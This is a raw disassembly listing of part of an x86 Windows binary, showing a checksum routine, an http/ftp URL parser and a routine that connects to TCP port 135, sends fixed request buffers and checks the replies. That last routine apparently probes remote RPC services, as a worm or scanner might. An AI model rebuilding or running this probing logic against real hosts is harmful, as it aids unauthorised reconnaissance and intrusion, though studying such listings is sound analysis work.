--------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E00 proc near ; CODE XREF: sub_401A37j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov ebx, [ebp+var_4] cmp ecx, 2 js short loc_420E39 loc_420E22: ; CODE XREF: sub_420E00+32j xor eax, eax mov ax, [edx] add ebx, eax sub ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_420E22 cmp ecx, 0 jz short loc_420E4A loc_420E39: ; CODE XREF: sub_420E00+20j ; sub_420E00+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_420E39 loc_420E4A: ; CODE XREF: sub_420E00+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_420E00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_420EA0: ; CODE XREF: ___:00401019j mov eax, [esp+4] mov dword_50DB34, eax mov eax, offset dword_50DB34 retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_420EC0: ; CODE XREF: ___:0040177Bj push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, dword_511AAC push esi call edi mov ebp, dword_511AA4 push 2 push 0 push esi mov ebx, eax call ebp push esi call edi push 0 push ebx push esi mov edi, eax call ebp add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420F10 proc near ; CODE XREF: sub_401947j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420F10 push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_420F3F xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_420F3F: ; CODE XREF: sub_420F10+26j lea ecx, [esp+90h+var_84] call sub_40142E push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_4015E1 push offset asc_444C7C ; ":" lea eax, [esp+94h+var_54] push ebx push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 mov esi, [esp+90h+arg_4] push eax mov ecx, esi mov byte ptr [esp+94h+var_4], 1 call sub_401FDC lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420FCF push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420FCF lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_420FCF: ; CODE XREF: sub_420F10+92j ; sub_420F10+A2j push offset asc_4453F8 ; "/" lea ecx, [esp+94h+var_54] push 1 push ecx lea ecx, [esp+9Ch+var_84] call sub_4016B8 push 40h mov ecx, eax mov byte ptr [esp+94h+var_4], 2 call sub_401D34 lea ecx, [esp+90h+var_54] mov edi, eax mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp edi, ebx push offset asc_4453F8 ; "/" push 1 jz loc_42130C lea edx, [esp+98h+var_24] lea ecx, [esp+98h+var_84] push edx call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 3 call sub_4016B8 push offset asc_444C7C ; ":" lea edx, [esp+94h+var_54] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 4 call sub_4016B8 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 5 call sub_401FDC lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], 4 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 3 call sub_401226 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F40 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_4210C9 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_4210C9: ; CODE XREF: sub_420F10+19Cj push offset asc_4453F8 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 6 call sub_4016B8 push offset asc_444C7C ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 7 call sub_4016B8 mov ecx, eax mov byte ptr [esp+90h+var_4], 8 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 7 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 6 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421195 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42117E mov dword ptr [esi+54h], 50h loc_42117E: ; CODE XREF: sub_420F10+265j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421195 mov dword ptr [esi+54h], 15h loc_421195: ; CODE XREF: sub_420F10+255j ; sub_420F10+27Cj push offset asc_4453F8 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 9 call sub_4016B8 push offset asc_444C7C ; ":" lea edx, [esp+94h+var_24] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ah call sub_4016B8 lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Bh call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Ah call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 9 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F40 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42124E lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_42124E: ; CODE XREF: sub_420F10+321j push offset asc_4453F8 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ch call sub_4016B8 push offset asc_444C7C ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Dh call sub_4016B8 lea edi, [esi+3Fh] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Eh call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Dh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 0Ch call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F40 mov ecx, edi call sub_4012EE test eax, eax jnz loc_421433 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_42130C: ; CODE XREF: sub_420F10+100j lea eax, [esp+98h+var_3C] lea ecx, [esp+98h+var_84] push eax call sub_4016B8 push offset asc_444C7C ; ":" lea ecx, [esp+94h+var_24] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Fh call sub_4016B8 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 10h call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Fh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F40 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_421393 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_421393: ; CODE XREF: sub_420F10+466j push offset asc_4453F8 ; "/" lea edx, [esp+94h+var_3C] push 1 push edx lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset asc_444C7C ; ":" lea ecx, [esp+94h+var_24] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 11h call sub_4016B8 mov ecx, eax mov byte ptr [esp+90h+var_4], 12h call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 11h call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421433 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42141C mov dword ptr [esi+54h], 50h loc_42141C: ; CODE XREF: sub_420F10+503j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421433 mov dword ptr [esi+54h], 15h loc_421433: ; CODE XREF: sub_420F10+3DBj ; sub_420F10+4F3j ... push offset asc_4453F8 ; "/" lea ecx, [esp+94h+var_84] call sub_4013ED lea edx, [esp+90h+var_6C] push eax push edx lea ecx, [esp+98h+var_84] call sub_401E47 push offset asc_4453F8 ; "/" lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 13h call sub_4013ED push eax lea eax, [esp+94h+var_24] push eax lea ecx, [esp+98h+var_6C] call sub_401E47 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 14h call sub_40202C lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 push offset asc_4453F8 ; "/" lea ecx, [esp+94h+var_6C] call sub_4013ED lea ecx, [esp+90h+var_24] push eax push ecx lea ecx, [esp+98h+var_6C] call sub_401E47 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 15h call sub_40202C lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 add esi, 58h push offset asc_4453F8 ; "/" mov ecx, esi call sub_4015E1 lea edx, [esp+90h+var_6C] mov ecx, esi push edx call sub_4016C7 lea ecx, [esp+90h+var_6C] mov byte ptr [esp+90h+var_4], bl call sub_401226 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_421519: ; CODE XREF: sub_420F10+2Aj ; sub_420F10+BAj ... mov ecx, [esp+90h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_420F10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4216D0 proc near ; CODE XREF: sub_401AFFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_4216FB loc_4216E4: ; CODE XREF: sub_4216D0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_421702 inc eax cmp eax, edx jl short loc_4216E4 loc_4216FB: ; CODE XREF: sub_4216D0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_421702: ; CODE XREF: sub_4216D0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_4216D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_421720: ; CODE XREF: ___:004020B8j mov eax, 2010h call sub_437B30 mov eax, [esp+2018h] push ebp push esi dec eax push edi jz short loc_42176D dec eax jz short loc_421747 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421747: ; CODE XREF: ___:00421738j mov eax, [esp+2020h] push 1388h push eax call sub_402022 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_42176D: ; CODE XREF: ___:00421735j push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4218C9 cmp esi, 0FFFFFFFFh jz loc_4218C9 xor ecx, ecx push 87h mov [esp+10h], ecx mov word ptr [esp+10h], 2 mov [esp+14h], ecx mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2B66h mov edx, [esp+2020h] mov [esp+0Eh], ax push edx call sub_40188E add esp, 4 mov [esp+10h], eax lea eax, [esp+0Ch] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz loc_4218C2 mov ebp, dword_511CA0 push 0 push 48h push offset dword_444DC0 push esi call ebp cmp eax, 0FFFFFFFFh jz loc_4218C2 mov edi, dword_511CA4 push 0 lea ecx, [esp+20h] push 2000h push ecx push esi call edi cmp eax, 0FFFFFFFFh jz loc_4218C2 cmp byte ptr [esp+1Eh], 0Ch jnz loc_4218C2 push 0 push 18h push offset dword_444E34 push esi call ebp cmp eax, 0FFFFFFFFh jz loc_4218C2 push 0 lea edx, [esp+20h] push 2000h push edx push esi call edi mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4218C2 cmp byte ptr [esp+1Eh], 2 jnz short loc_4218C2 push 10h push offset loc_444E0C lea eax, [esp+24h] push edi push eax call sub_401AFF add esp, 10h test al, al jz short loc_421891 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421891: ; CODE XREF: ___:0042186Ej push 10h push offset dword_444E20 lea edx, [esp+24h] push edi push edx call sub_401AFF add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_4218C2: ; CODE XREF: ___:004217DBj ; ___:004217F6j ... push esi nop call near ptr 71AB9639h loc_4218C9: ; CODE XREF: ___:0042177Ej ; ___:00421787j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_421950: ; CODE XREF: ___:00401A0Fj xor al, al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421970 proc near ; CODE XREF: sub_40120Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401311 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4010E6 sub_421970 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219B0 proc near ; CODE XREF: sub_4018E8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401910 sub_4219B0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219F0 proc near ; CODE XREF: sub_401825j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40197E mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4014E2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_4019A6 mov edx, [esi+4] mov ecx, esi push edx call sub_401956 sub_4219F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A60 proc near ; CODE XREF: sub_4014E2j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_40206D mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401EDD mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_421A60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421AA0 proc near ; CODE XREF: sub_40197Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401EDD mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_421AA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AD0 proc near ; CODE XREF: sub_402185j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40197E mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40190B sub_421AD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B10 proc near ; CODE XREF: sub_40170Dj push esi mov esi, ecx call sub_4019FB mov eax, esi pop esi retn sub_421B10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B30 proc near ; CODE XREF: sub_40122Bj mov eax, [ecx] push eax call sub_4010F5 add esp, 4 retn sub_421B30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B50 proc near ; CODE XREF: sub_40107Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_40206D mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421B50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B80 proc near ; CODE XREF: sub_401811j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40201D neg al sbb eax, eax inc eax retn 4 sub_421B80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BB0 proc near ; CODE XREF: sub_4016EAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401212 sub_421BB0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BF0 proc near ; CODE XREF: sub_401253j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4013F7 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401465 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40100F mov edx, [esi+4] mov ecx, esi push edx call sub_4021DA sub_421BF0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C60 proc near ; CODE XREF: sub_401465j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_40110E mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D89 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_421C60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421CA0 proc near ; CODE XREF: sub_4013F7j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D89 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_421CA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421CD0 proc near ; CODE XREF: sub_401325j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4013F7 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401BC2 sub_421CD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D10 proc near ; CODE XREF: sub_401B54j push esi mov esi, ecx call sub_4011A9 mov eax, esi pop esi retn sub_421D10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D30 proc near ; CODE XREF: sub_401055j mov eax, [ecx] push eax call sub_40108C add esp, 4 retn sub_421D30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D50 proc near ; CODE XREF: sub_401839j push esi mov esi, ecx mov eax, [esi] push eax call sub_40110E mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421D50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D80 proc near ; CODE XREF: sub_4012BCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D5C neg al sbb eax, eax inc eax retn 4 sub_421D80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421DB0 proc near ; CODE XREF: sub_4010E6j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401EEC mov edi, eax push edi call sub_401B31 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40139D sub_421DB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401B31 push edi mov [eax], ebx call sub_401B31 mov edi, [eax] push edi call sub_401B31 mov ecx, [eax] push ecx call sub_4015DC mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401172 add esp, 4 mov ecx, esi push eax call sub_401E5B mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D98 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421E50 proc near ; CODE XREF: sub_40190Bj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4010C8 mov edi, eax push edi call sub_401D07 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401910 sub_421E50 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401D07 push edi mov [eax], ebx call sub_401D07 mov edi, [eax] push edi call sub_401D07 mov ecx, [eax] push ecx call sub_40206D mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4010F5 add esp, 4 mov ecx, esi push eax call sub_4017F3 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401EDD mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421EF0 proc near ; CODE XREF: sub_4019A6j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401811 test al, al jz short loc_421F4A loc_421F08: ; CODE XREF: sub_421EF0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4020D6 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A2D ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401811 test al, al jnz short loc_421F08 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_421F4A: ; CODE XREF: sub_421EF0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_421EF0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421F80 proc near ; CODE XREF: sub_401910j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 24h call sub_401E0B sub_421F80 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_421F95 mov edi, esi loc_421F95: ; CODE XREF: ___:00421F91j push esi call sub_40206D mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_421FAA mov edi, esi loc_421FAA: ; CODE XREF: ___:00421FA6j push esi call sub_401D07 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421FD0 proc near ; CODE XREF: sub_401956j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401550 sub_421FD0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421FF0 proc near ; CODE XREF: sub_40206Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_421FF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422010 proc near ; CODE XREF: sub_4010F5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422010 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422030 proc near ; CODE XREF: sub_4019FBj mov eax, ecx retn sub_422030 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422050 proc near ; CODE XREF: sub_401EDDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401523 mov eax, esi pop esi retn 4 sub_422050 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422080 proc near ; CODE XREF: sub_40201Dj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_422080 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) 